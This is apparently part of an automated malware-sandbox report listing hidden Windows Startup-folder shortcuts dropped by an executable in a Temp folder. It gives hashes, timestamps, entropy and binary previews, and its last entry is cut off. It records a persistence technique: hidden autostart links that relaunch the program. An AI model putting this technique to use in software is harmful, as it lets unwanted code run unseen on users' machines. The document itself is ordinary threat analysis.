Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...h@..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3f92aa3c82814684953c7c4b4f2cb245.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:52 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.932519768338437
Encrypted:	false
SSDEEP:	24:8MQhBf38iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8MCU0R6rMhpBoUBxdRd1nYyg
MD5:	7DBD7B31C24DE9F697B2D817BB077186
SHA1:	45AF009305303E1FC4EEE1D28374D1B57C570F47
SHA-256:	DD587A920C57D021A50F0B46A1FD92AA397E4A281D952C189D319B298B1716AC
SHA-512:	9044EE425D9618D22187AC17E9C606FAE4FDB5128703A59E943A9F80460A1A6E2A471995C790E991EC17A28460B73D851FC1E4A7816C1ED97673589064D5AD5A
Malicious:	false
Preview:	L..................F...."...]W%.{....v..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....Y.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3f9b20eb879a4b0498df1350b8d452a9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:50 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939690663041006
Encrypted:	false
SSDEEP:	24:8l8hBf3+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8lOPT0R6rMhpBoUBxdRd1nYyg
MD5:	D56B87268D6F697FDF308CA2DBB4CE7C
SHA1:	B3599F17B3D0E4AB56856EED3467DE2D7B387BD8
SHA-256:	701D4EF2BCAF83D8025FC6A0B7BDEEE861D72ECA9FE2F0F214710B4F783FE9E0
SHA-512:	C6DD9B829A302D6E7ECEA4D84498132093F83D5B45E7AD50CB1DFA6CEBA2A8AB10EA1754644A767BC7FF04D2D572E9B5DCD978CCFE51F2CE797064275E9D1F78
Malicious:	false
Preview:	L..................F...."...]W%.{...$.:.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...u.=.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3fe002fe053843c8b2a82494b9c8ef34.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935231285077464
Encrypted:	false
SSDEEP:	24:8rhBff8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Pc0R6rMhpBoUBxdRd1nYyg
MD5:	0576DE53AF06D73D6D951507DBEE27B0
SHA1:	ABE6790AE0B54444737A51C252FAF9EBAF55E3AB
SHA-256:	4C4E87A51DBDDB28B8E9BE8ADFA3BD46693B7F2785D1E079C9E6EFD0FD54858E
SHA-512:	F8F1DC6C9524F0317FB8B592BBDAC74D167A0F192575B89791EEFDEDAA8B90831A69EB0C7EAC3CFED6E219520E8453461B1C95B60E6A1763D699DFA020A6FE5B
Malicious:	false
Preview:	L..................F...."...]W%.{....K..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...x_..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3ff2eaadaf234373ad38b8869de3f242.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:10 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938004264579501
Encrypted:	false
SSDEEP:	24:8dhBfD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8dI0R6rMhpBoUBxdRd1nYyg
MD5:	7E4458EF73E0A15F27C1A75CF477FF86
SHA1:	82DF700270FFEA5D3CCC3E3E2D4F6D02DABD116D
SHA-256:	DBA09E592B96D5757A9FE40E315722856705E3B12DD3F5FE3CA1D6FEABD85BE1
SHA-512:	D172F34A7E6F8651072CA0DF09076581BBA96FEFD7A235A9F929CD5594C7775E6CB4C7BEB3AD3CD4122089942F96F54D0608CFB8B2194A1957ADC4D0FF49BD94
Malicious:	false
Preview:	L..................F...."...]W%.{....y@.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....a.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4017c603241b408aacaf6b62616f3387.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:10 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.94177771296324
Encrypted:	false
SSDEEP:	24:8a6hBfR8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Be0R6rMhpBoUBxdRd1nYyg
MD5:	3E3EEC644307095932291CEDFBC38C4F
SHA1:	5365EDC34026BC154ED64BEDEA384C5CC954CF8E
SHA-256:	732598A81BCB54A654029CFC05D46202E3F7563E41677433031CEC482EF1455C
SHA-512:	8B727F4039852ECB8F19DC72D58026430BC8F7D843A080ECCB8F6FC8ED92098FCA6223FCD885CE0E188EDD68EF9C5D7241EE792FB7E93EA36BA1806DCC039AA5
Malicious:	false
Preview:	L..................F...."...]W%.{...M...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4066e4e10de34f96a4b4f2722e72c80e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:49 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939520290752018
Encrypted:	false
SSDEEP:	24:8SAGhBfq8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8SAM/0R6rMhpBoUBxdRd1nYyg
MD5:	E3BAE60FFAF66561322CD86CD41D735E
SHA1:	650602D0E17EA8E90F42FBC3A4BCE1E3B6046432
SHA-256:	6EF85854BC270F8C1DEAB6A99F54B20C690ACB01FF6420E8C86821935CB47B95
SHA-512:	33C36F071A4C271EB0C8C2200DB5660D6765B0ABCFF811DA49362BB60F6454B3CA46C0E5CBCC751922F35640E8B2CAE4021CE86E175E6A459CB8965E3A3838D4
Malicious:	false
Preview:	L..................F...."...]W%.{....I_.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....a.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_40ce8edaa8ee4b74af040e97d4f56f34.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:42 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941282405289463
Encrypted:	false
SSDEEP:	24:8phBfC8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8pn0R6rMhpBoUBxdRd1nYyg
MD5:	1C63FDE4BD9F913FB5AE0EB1F9366773
SHA1:	7002E48ED09E5A622C8E692F6F209AEF4CBC6DC6
SHA-256:	D41757F1CF835E691EF082013263F64D024B77AEFF4515BA77A1E10B642B7217
SHA-512:	2D47CA491F9A45D5D7C2A779F1ED4DF571250B02B953DEC55ADAAB7457242DCBDADF6DBF1119F6D9A810794D69FDCBDF4BD59FBE9364C4FA16A57CBA885A24BC
Malicious:	false
Preview:	L..................F...."...]W%.{...D...\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....#..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_40d7c41b521d4770a517fa80b9b85a2f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:10 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941847826931496
Encrypted:	false
SSDEEP:	24:8UhBfbp8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8WDO0R6rMhpBoUBxdRd1nYyg
MD5:	5D59C4A36D61B931C8AD67A0716D7A02
SHA1:	02E7D390DD310FFEAF64DEE51ED050AD130B0DD7
SHA-256:	C9B19AB0806864E134D0910D5B38A0A88A5683C2AD4A85A73223BEBD52932C67
SHA-512:	627D61F8D3F99BE8380104F86C0BBAB3469F113AC3391925FF758BA74D5E127F48D2A85C53A40CF8F10D642E1F6951E5A9E573DD281F079C1E388888C7EA1DBE
Malicious:	false
Preview:	L..................F...."...]W%.{...q.>.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...d./.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_40f9823301f14fa5a8304c4f733e0cd0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:50 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.942103768830574
Encrypted:	false
SSDEEP:	24:8FhBf48iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8VF0R6rMhpBoUBxdRd1nYyg
MD5:	B7ABA21D36BF20EFA8C0E1F526A875E8
SHA1:	4E0053F6E5480CAF9E079DDB3306183D6B9630EE
SHA-256:	D4F4315BB5A7AA544A32469991D6974F6F075B08E3C0B602EC344AB519AFAB3D
SHA-512:	0489E88D11B299ED95E505D3018B2752A1C090028E23971959022288ABBA8F682B1BBC8D27D7A321DF26C0527842938D5902C810C88ABD576D0D33FABF14754B
Malicious:	false
Preview:	L..................F...."...]W%.{....8..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4121a24a1bb24c1ea44782748cd9b1f6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:46 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940429641491465
Encrypted:	false
SSDEEP:	24:8FhBf48iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Vl0R6rMhpBoUBxdRd1nYyg
MD5:	D11A2E63CF66CE2C9AE43FF52F358C3D
SHA1:	FFB13E6359ED9FEF7B47FF282D0D803794B0D6E9
SHA-256:	3E1E9938E953287DC44C9DEF05A23A053FD6081DC7E63F9CCDCCEA4A9F9918A7
SHA-512:	869868FBF8E7D0633B1FAA21D9F8F230A8B11A3B3C712A9864D7615DC06623E0A58242367ED084169C89527AB0EFDCD7D0963D5CF800A9E7E543FF5146B096C9
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....]..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4163216f595e47f384c1c36ff639e461.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:55 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93807345937624
Encrypted:	false
SSDEEP:	24:8ShBfB8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Y+0R6rMhpBoUBxdRd1nYyg
MD5:	D4B5F9B51F44B9586D1D911FCE038A93
SHA1:	6D3177A8E7560F5364D78DF5071B34B844EFB547
SHA-256:	037417C85EC888F892D8C0FE5782C5363837EEA3F8F41697BD63CF87977EB57E
SHA-512:	29FF4F785F62EAF392ACB5C74E710AF2EB16EA49455A9B34C0C394246E7BC5B9E84C453547320448FDEF89E6E60B085CDF7C1A7CC19291980335F29E9AC739BF
Malicious:	false
Preview:	L..................F...."...]W%.{....&L.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....\.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4178df279e5a4ce3bda39fbf6484144f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:00 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938700882680655
Encrypted:	false
SSDEEP:	24:8C8hBfv8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8COs0R6rMhpBoUBxdRd1nYyg
MD5:	0DC097549B968CB48CC25F50B556260E
SHA1:	FBCBAB000DDA9FB13C5AF842388FA912A596EA28
SHA-256:	76BF99737D073BFC12FE5E7EDEDCE58EFA439B79404CC2801547D4A72083E38A
SHA-512:	82606C86456041C15032E77C23B4F8430EEF26974B70233CCC7519CFED36344CBEA110CAD805FBA376CAE45C7E37C0B222ADE50D21E49B14825758154BA19A3C
Malicious:	false
Preview:	L..................F...."...]W%.{......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...N.e.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_42300c312e1040c7913c43d160fdd525.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:49 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938755514152355
Encrypted:	false
SSDEEP:	24:86hBfp8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8wm0R6rMhpBoUBxdRd1nYyg
MD5:	2282E081BD7C822AF1C80D640A0C139A
SHA1:	3294E8DEA12CE86248C54F9ABF9B4B5F4F589E72
SHA-256:	B6B77C3462839A3C41B50DA33004E55345F138B874910AD27B64E9B844606480
SHA-512:	1249CFFFE25B92F638D1B71FAF8C6D1652609636EC588B32F5328F2A82AF2152A569675193F900F05E7B82832FBA086D98803399996051CC5E52F42C53E57C2F
Malicious:	false
